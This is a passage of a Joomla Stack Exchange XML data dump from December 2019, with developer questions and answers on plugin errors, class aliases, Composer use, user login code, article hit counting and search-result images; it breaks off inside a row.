  <row Id="26506" PostTypeId="1" AcceptedAnswerId="26574" CreationDate="2019-12-09T20:28:19.780" Score="5" ViewCount="6128" Body="&lt;p&gt;I went into the &quot;configuration.php&quot;, changed error reporting to &quot;maximum&quot;, and now my Joomla admin page is suddenly blank white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I go to my backend login page, I get the following error messages:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Undefined variable: recommendedVersion in&#xA;  /home/mchardism/public_html/plugins/quickicon/phpversioncheck/phpversioncheck.php&#xA;  on line 173&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Notice: Undefined variable: recommendedVersionEndOfSupport in&#xA;  /home/mchardism/public_html/plugins/quickicon/phpversioncheck/phpversioncheck.php&#xA;  on line 174&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: Call to a member function format() on null in&#xA;  /home/mchardism/public_html/plugins/quickicon/phpversioncheck/phpversioncheck.php&#xA;  on line 174&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So when I go to the phpversioncheck.php, lines 173 and 174, I see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xyfJx.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xyfJx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is where I'm stuck. I don't know what I need to change in these lines to fix the issue. I've never opened this phpversioncheck.php file before and I'm not sure why it is suddenly giving me issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using:&#xA;Joomla 3.6.5&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="12352" LastEditDate="2019-12-09T21:41:44.777" LastActivityDate="2021-12-07T22:53:28.823" Title="Undefined variables: recommendedVersion and recommendedVersionEndOfSupport" Tags="|administrator|joomla-3.6|error-reporting|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26507" PostTypeId="2" ParentId="26506" CreationDate="2019-12-09T22:05:15.270" Score="1" Body="&lt;p&gt;This is a known issue that occurs on a combination of outdated PHP and Joomla! versions. Measures have been taken to avoid this in the future and a fix will be available in 3.9.14.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is recommended to keep PHP, Joomla!, its extensions and generally any software running on your server up-to-date. If you have no intention of doing that, your only other option is to disable &lt;code&gt;Quick Icon - PHP Version Check&lt;/code&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-12-09T22:05:15.270" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26508" PostTypeId="1" AcceptedAnswerId="26509" CreationDate="2019-12-10T00:21:52.050" Score="1" ViewCount="341" Body="&lt;p&gt;I was learning plugin development when I came across this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so for some plugin, I see &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class pluginA extends JPlugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for some others, I see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgGantryEasyblog extends \Joomla\CMS\Plugin\CMSPlugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are they the same thing? If not, what is the difference? I can't find documentations about this.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2019-12-10T06:23:48.647" Title="What is the different between JPlugin and \Joomla\CMS\Plugin\CMSPlugin" Tags="|development|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26509" PostTypeId="2" ParentId="26508" CreationDate="2019-12-10T06:23:48.647" Score="4" Body="&lt;p&gt;&lt;code&gt;JPlugin&lt;/code&gt; is an alias of &lt;code&gt;Joomla\CMS\Plugin\CMSPlugin&lt;/code&gt;. It is the same thing at the moment, but one should start using fully qualified class names because all aliases in Joomla! are deprecated and will be removed in the future - a few in 4.0 and everything else in 5.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant PHP documenation: &lt;a href=&quot;https://www.php.net/manual/en/language.namespaces.importing.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using namespaces: Aliasing/Importing&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-12-10T06:23:48.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26510" PostTypeId="1" CreationDate="2019-12-10T08:56:08.760" Score="2" ViewCount="508" Body="&lt;p&gt;I've used many php framework , there always be a place (ex: constants.php) to put developer's self defined constants, but I can't find that in Joomla. Could anyone tell me where to put these self-defined constants so that we can use them anywhere in the project, thanks:)&lt;/p&gt;&#xA;" OwnerUserId="7604" LastActivityDate="2019-12-10T13:55:46.257" Title="Where can I put my self-defined constant in Joomla?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26511" PostTypeId="2" ParentId="23317" CreationDate="2019-12-10T09:12:39.637" Score="0" Body="&lt;p&gt;You can also insert that column from the database table schema (hikashop insert custom column directly from the table definition, too), and override the hikashop view to show that column from your overrided layout, if you know Joomla override template well and how to fix the php code :)&lt;/p&gt;&#xA;" OwnerUserId="7604" LastActivityDate="2019-12-10T09:12:39.637" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26513" PostTypeId="2" ParentId="26510" CreationDate="2019-12-10T13:55:46.257" Score="4" Body="&lt;p&gt;Joomla's front-end entry point is index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In line 29-32 Joomla checks for a file in the webroot called defines.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA;    include_once __DIR__ . '/defines.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can create &lt;strong&gt;your own constants file /defines.php&lt;/strong&gt; and put your own constants in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use Joomla's core /includes/defines.php as example.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-12-10T13:55:46.257" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26514" PostTypeId="1" CreationDate="2019-12-10T15:06:05.253" Score="7" ViewCount="1216" Body="&lt;p&gt;I develop Joomla extensions since 2008. Just today, I realized that Joomla uses &lt;strong&gt;Composer&lt;/strong&gt; and the &lt;strong&gt;Symfony&lt;/strong&gt; framework within its core libraries. I had seen it in the past, but never really gave it a second thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a local test website with more than 20 of the world's most popular Joomla extensions and &lt;strong&gt;none of them&lt;/strong&gt; uses the core Symfony to simplify even the smallest task. Only one of them uses Symfony, but includes it within its own custom &lt;code&gt;libraries&lt;/code&gt; directory. So, I have the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can we use Symfony inside Joomla without creating our own libraries directory? If yes, how?&lt;/li&gt;&#xA;&lt;li&gt;Shouldn't we be able to just install additional Symfony components to the existing Symfony? If not, why can't we?&lt;/li&gt;&#xA;&lt;li&gt;Have you heard if something like that is planned for Joomla 4?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="405" LastActivityDate="2019-12-11T22:51:49.070" Title="How to use Composer and Symfony in our Joomla extensions?" Tags="|extensions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26515" PostTypeId="1" AcceptedAnswerId="26550" CreationDate="2019-12-10T17:58:17.937" Score="0" ViewCount="49" Body="&lt;p&gt;I have never worked on Joomla so I apologize for my naive question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a button on a page which redirects to this URL - &lt;a href=&quot;https://ttmac.com/en/online-courses/buy?view=order-multiple-courses&amp;amp;catid=6&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ttmac.com/en/online-courses/buy?view=order-multiple-courses&amp;amp;catid=6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can understand we are attaching query strings in the URL which should be captured by online-courses (it's not a page though). Here's where I am confused since I've never worked in Joomla.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to locate the code that is being generated by 'order-multiple-courses' action but unable to locate the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13972" LastActivityDate="2019-12-17T14:23:18.587" Title="How to access a custom action page" Tags="|joomla-2.5|templates|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26516" PostTypeId="1" AcceptedAnswerId="26532" CreationDate="2019-12-11T12:17:21.387" Score="2" ViewCount="1641" Body="&lt;p&gt;I am trying to update JCE editor pro to 2.8.1, but I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla\Filesystem\File::delete: Failed deleting inaccessible file controller.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We are using PHP7.2 and Joomla 3.9.13 It runs through the update, but stops at 100% and gives the error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;JCE Editor Pro is currently at version - 2.6.27&lt;/p&gt;&#xA;" OwnerUserId="13973" LastEditorUserId="12352" LastEditDate="2019-12-11T19:36:34.243" LastActivityDate="2021-09-10T21:46:44.493" Title="&quot;Failed deleting inaccessible file&quot; error while updating JCE editor pro to 2.8.1" Tags="|joomla-3.x|update|jce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26517" PostTypeId="1" AcceptedAnswerId="26519" CreationDate="2019-12-11T13:43:25.930" Score="0" ViewCount="150" Body="&lt;p&gt;I built a component where a user fills in a form, and on submit it creates an account for them and tries to log them in immediately. The account creation works, but when it tries to log users in, I get the error &lt;code&gt;Invalid password&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the core the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;$user = new JUser;&#xA;$user-&amp;gt;bind($data);&#xA;if (!$user-&amp;gt;save()) {&#xA;    $this-&amp;gt;setError($user-&amp;gt;getError());&#xA;    return false;&#xA;}&#xA;&#xA;$credentials = array(&#xA;    'username' =&amp;gt; $user-&amp;gt;username,&#xA;    'password' =&amp;gt; $user-&amp;gt;password_clear,&#xA;);&#xA;$app-&amp;gt;login($credentials);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure what I'm missing. When I do a &lt;code&gt;print_r&lt;/code&gt; of all of the data I have, it's all correct. If I log in manually after getting the wrong password error, I log in correctly. I tried passing &lt;code&gt;$user-&amp;gt;password&lt;/code&gt; instead, but that didn't work either. If I modified index.php to do the exact same &lt;code&gt;$app-&amp;gt;login&lt;/code&gt;, it would log me in properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly there's something I'm missing, but I just can't find it.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2019-12-11T18:04:29.803" Title="Create user and immediately log them in" Tags="|joomla-3.x|user|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26518" PostTypeId="1" CreationDate="2019-12-11T16:01:14.993" Score="0" ViewCount="65" Body="&lt;p&gt;Joomla core articles hits counter only works when the full article is shown (fulltext).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if only the introtext is displayed, like in a Category Blog view or in a Featured Articles Blog view, the hit counter doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very limited behaviour, especially since many times we don't even use the &quot;read more&quot; button and the whole article is shown in the &quot;introtext&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;I would like to count how many times an article has been shown&lt;/strong&gt; (in full view, or just as part of a category blog view or a featured articles view).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="12359" LastEditorUserId="12352" LastEditDate="2019-12-11T22:07:11.023" LastActivityDate="2019-12-11T22:07:11.023" Title="How to keep count of how many times an article has been seen as fulltext or introtext-alone?" Tags="|articles|statistics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26519" PostTypeId="2" ParentId="26517" CreationDate="2019-12-11T18:04:29.803" Score="1" Body="&lt;p&gt;I wrote a wee module based on your code above and it worked ok. Here's my code for comparison. (I set URL params like &lt;code&gt;?newusr=fredc&amp;amp;newpwd=fredc&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$app = Factory::getApplication();   // equivalent of $app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;&#xA;if ($input-&amp;gt;exists('newusr') &amp;amp;&amp;amp; $input-&amp;gt;exists('newpwd'))&#xA;{&#xA;    $usr = $input-&amp;gt;get('newusr', 0, &quot;STRING&quot;);  &#xA;    $pwd = $input-&amp;gt;get('newpwd', 0, &quot;STRING&quot;);&#xA;&#xA;    $logged_on_user = JFactory::getUser();&#xA;    echo &quot;Logged on user is &quot; . $logged_on_user-&amp;gt;username; &#xA;&#xA;    $user = new JUser();&#xA;    $data = array(&quot;name&quot; =&amp;gt; $usr, &quot;username&quot; =&amp;gt; $usr, &quot;email&quot; =&amp;gt; $usr . &quot;@example.com&quot;, &quot;password&quot; =&amp;gt; $pwd, &quot;password_clear&quot; =&amp;gt; $pwd, &quot;groups&quot; =&amp;gt; array(&quot;2&quot;));&#xA;    $user-&amp;gt;bind($data);&#xA;    if (!$user-&amp;gt;save()) {&#xA;        $this-&amp;gt;setError($user-&amp;gt;getError());&#xA;        return false;&#xA;    }&#xA;&#xA;    $credentials = array(&#xA;        'username' =&amp;gt; $user-&amp;gt;username,&#xA;        'password' =&amp;gt; $user-&amp;gt;password_clear,&#xA;    );&#xA;    $app-&amp;gt;login($credentials);&#xA;&#xA;    $logged_on_user = JFactory::getUser();&#xA;    echo &quot;Logged on user is &quot; . $logged_on_user-&amp;gt;username; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second call to getUser() got the new user ok, and then the username was output ok.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2019-12-11T18:04:29.803" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26520" PostTypeId="2" ParentId="26518" CreationDate="2019-12-11T21:52:16.647" Score="1" Body="&lt;p&gt;You could create a plugin which was triggered by an event such as onContentPrepare, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class plgContentHits extends JPlugin&#xA;{&#xA;     public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page = 0)&#xA;     {&#xA;        $parts = explode(&quot;.&quot;, $context);&#xA;        if (isset($parts[0]) &amp;amp;&amp;amp; $parts[0] == &quot;com_content&quot; &amp;amp;&amp;amp; isset($parts[1]) &amp;amp;&amp;amp; $parts[1] != &quot;article&quot; &amp;amp;&amp;amp; isset($article-&amp;gt;id))&#xA;        {&#xA;            $table = JTable::getInstance('Content', 'JTable');&#xA;            $table-&amp;gt;hit($article-&amp;gt;id);&#xA;        }&#xA;        return true;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;code&gt;$context&lt;/code&gt; to check that it's com_content (rather than com_contact for example), and what view is being shown. You have to not count a hit if it's a single article, because that's counted by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't debugged this approach fully, but you may be able to use it as the basis for a solution.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2019-12-11T21:52:16.647" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26521" PostTypeId="2" ParentId="26514" CreationDate="2019-12-11T22:51:49.070" Score="6" Body="&lt;p&gt;Joomla uses composer to add + maintain the added library files in /libraries/vendor/&#xA;&lt;strong&gt;Do not use Joomla's composer&lt;/strong&gt; for your own composer libraries. That might update Joomla's composer libraries as well which makes Joomla different from the distributed version, so your Joomla website might behave differently then expected. Those composer libraries are only updated by the core maintainers when a new Joomla version is released.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you can use composer in your own Joomla extensions. Just add the composer files in your own extension folder. In your own extension folder do a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;composer require vendor-name/package-name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you will end up with&#xA;a composer.json file, &#xA;the /vendor/autoload.php &#xA;and the files in /vendor/composer/*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your extension, you do a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require __DIR__ . '/vendor/autoload.php';&#xA;use \Vendor-name\PackageName;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you can use the class from the included library added by composer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used this method to add an external library in my Joomla plugin: &lt;a href=&quot;https://github.com/pe7er/plg_content_db8imageresize&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/pe7er/plg_content_db8imageresize&lt;/a&gt;&#xA;Note that the library that I used in my plugin is abandoned. However, you can still use the method that I used.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-12-11T22:51:49.070" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26522" PostTypeId="2" ParentId="26506" CreationDate="2019-12-12T08:07:48.923" Score="2" Body="&lt;p&gt;@Sharky gave a valid point that helped me solve the same problem. However, I would like to provide an alternative to help others who found it difficult to resolve this issue too. Rather than commenting out the line of code and breaking something else by accident, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if you have access to the database via whatever means, you can disable&#xA;  mod_quickicon by changing the enabled field bit from 1 to 0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As in the image below;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yC8Cm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yC8Cm.png&quot; alt=&quot;Sample record&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This record can be found in extensions table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Your extensions table may have a 'prefix'_extensions&lt;/p&gt;&#xA;" OwnerUserId="13975" LastActivityDate="2019-12-12T08:07:48.923" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26525" PostTypeId="1" AcceptedAnswerId="26527" CreationDate="2019-12-12T20:30:04.137" Score="1" ViewCount="382" Body="&lt;p&gt;I'm trying to display images in search results for the default search of Joomla.&#xA;I messed with some code from the web and I managed to display images with the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in template/html/com_search/com_search/search/default_results.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in line 9, I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$article = JTable::getInstance('Content', 'JTable');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;and then above: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dd class=&quot;result-text&quot;&amp;gt;  &amp;lt;?php echo $result-&amp;gt;text;?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;// Joomla content&#xA;if( strstr($result-&amp;gt;href, 'com_content') ) &#xA;{&#xA;    preg_match_all('#\d+#', $result-&amp;gt;href, $val);&#xA;    $id = (int)$val[0][0];&#xA;    $article-&amp;gt;load($id);            &#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$dom = new DOMDOcument;&#xA;$dom-&amp;gt;loadHTML($article-&amp;gt;introtext);&#xA;$images = $dom-&amp;gt;getElementsByTagName('img');&#xA;if (isset($images[0])) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php echo $images[0]-&amp;gt;getAttribute('src'); ?&amp;gt;&quot; class=&quot;search-results-img&quot;&amp;gt;&#xA;    &amp;lt;?php &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is images in search results with image class for styling in css, BUT it works only for article search. If search includes categories too, I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: DOMDocument::loadHTML(): Empty string supplied as input. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think the warning is because of &lt;code&gt;$dom-&amp;gt;loadHTML($article-&amp;gt;introtext);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want someone to check the code as I think using &lt;code&gt;preg_match_all()&lt;/code&gt; isn't the best practice and I need to include categories image.&lt;/p&gt;&#xA;" OwnerUserId="8707" LastEditorUserId="12352" LastEditDate="2019-12-13T03:47:32.360" LastActivityDate="2019-12-14T20:12:41.140" Title="How to include images in Joomla's search results?" Tags="|joomla-3.x|php|search|images|com-search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26526" PostTypeId="1" CreationDate="2019-12-13T03:29:56.357" Score="0" ViewCount="321" Body="&lt;p&gt;I need to integrate a custom field in the user component of joomla core that allows me to list some data in a select, I get this data from an endpoint, and because this type of field does not exist between the predefined ones, I understand I must create a custom form field type. I am following this guide &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;. I have created a custom form field type in the location &lt;code&gt;administrator/components/com_users/models/fields/cutsomfieldtype.php&lt;/code&gt;, the documentation mentions that in order to use the custom form field type I must update the xml file that contains the form fields definition, it also mentions that this xml should be located at &lt;code&gt;administrator/components/com_users/models/form&lt;/code&gt; but in the &lt;code&gt;com_user&lt;/code&gt; component I can't find this xml file, in this location there are many xml files but not one that defines the fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am misinterpreting this please let me know. I welcome your comments&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="13628" LastEditDate="2019-12-13T03:43:28.030" LastActivityDate="2019-12-13T09:03:28.877" Title="how to add custom field type to user core component?" Tags="|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26527" PostTypeId="2" ParentId="26525" CreationDate="2019-12-13T03:42:44.423" Score="1" Body="&lt;p&gt;A few pointers to offer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When checking the existence of a substring in a string, the &lt;a href=&quot;https://www.php.net/manual/en/function.strstr.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP documentation&lt;/a&gt; advises:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you only want to determine if a particular needle occurs within haystack, use the faster and less memory intensive function strpos() instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it is best practice to use &lt;code&gt;if (strpos($result-&amp;gt;href, 'com_content') !== false) {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for extracting the numeric substring, you &lt;em&gt;could&lt;/em&gt; entertain a call of &lt;code&gt;filter_var()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = (int)filter_var($result-&amp;gt;href, FILTER_SANITIZE_NUMBER_INT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, your case is a great opportunity to perform validation and extraction at the same time with a &lt;code&gt;preg_&lt;/code&gt; function call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you only intend to make a single match, simply use &lt;code&gt;preg_match()&lt;/code&gt; instead of &lt;code&gt;preg_match_all()&lt;/code&gt;.  I can help you with this dual-purpose pattern, using your supplied value of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=14623:vw-tiguan-allspace-geneva-2017&amp;amp;catid=136&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a penchant for using &lt;code&gt;\K&lt;/code&gt; to restart the fullstring match instead of using capture groups.  This is a micro-optimisation that reduces the regex engine's &quot;step&quot; count and this also eliminates unnecessary output array bloat (in &lt;code&gt;$match&lt;/code&gt;  ...see my snippet below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent the warning from the DOMDocument line, you should encapsulate that portion of your script inside your condition block as well.  If you need to provide a fallback value for categories, that will go in your &lt;code&gt;else&lt;/code&gt; condition block.  Alternatively, you can just wrap your DOM parsing code in a condition that checks if &lt;code&gt;$article-&amp;gt;introtext&lt;/code&gt; isset().  &lt;code&gt;if (isset($article-&amp;gt;introtext)) { ... }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my general (untested) recommendation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$imageSrc = '';&#xA;if (preg_match('~index\.php\?option=com_content&amp;amp;view=article&amp;amp;id=\K\d+~', $result-&amp;gt;href, $match)) {&#xA;    //validation ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^      ^^^--- extraction&#xA;    $db = JFactory::getDbo();&#xA;    $article = JTable::getInstance('Content', 'JTable');&#xA;    $article-&amp;gt;load((int)$match[0]);&#xA;&#xA;    if (isset($article-&amp;gt;introtext)) {&#xA;        $dom = new DOMDOcument;&#xA;        $dom-&amp;gt;loadHTML($article-&amp;gt;introtext);&#xA;        $images = $dom-&amp;gt;getElementsByTagName('img');&#xA;        if (isset($images[0])) {&#xA;            $imageSrc = $images[0]-&amp;gt;getAttribute('src');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you want to use &lt;code&gt;$imageSrc&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($imageSrc) {&#xA;    echo &quot;&amp;lt;img src=\&quot;{$imageSrc}\&quot; class=\&quot;search-results-img\&quot; alt=\&quot;\&quot;&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Again this is untested, but based on &lt;a href=&quot;https://joomla.stackexchange.com/a/10896/12352&quot;&gt;another snippets I found&lt;/a&gt;, this might be a better way of pulling the article image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($article-&amp;gt;images)) {&#xA;    $images = json_decode($article-&amp;gt;images);&#xA;    if (isset($images-&amp;gt;image_intro, $images-&amp;gt;image_intro_alt)) {&#xA;        echo &quot;&amp;lt;img class=\&quot;image_intro\&quot; src=\&quot;{$images-&amp;gt;image_intro}\&quot; alt=\&quot;{$images-&amp;gt;image_intro_alt}\&quot;&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-12-14T20:12:41.140" LastActivityDate="2019-12-14T20:12:41.140" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="26528" PostTypeId="1" CreationDate="2019-12-13T07:23:50.413" Score="0" ViewCount="96" Body="&lt;p&gt;We want to move all field groups to the first content tab on the backend and assign individual classes to every field group. Therefore, we've already ignored the fieldsets to avoid the creation of the tabs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;ignore_fieldsets[] = 'fields-1';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, we're calling each fieldgroup individually and add a class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;span9 fieldset-class-1&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;fieldset-title-container&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;?php echo $fieldset['fields-1']-&amp;gt;label; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;h4&amp;gt;&amp;lt;?php echo $fieldset['fields-1']-&amp;gt;description; ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('fields-1'); ?&amp;gt;    &#xA;        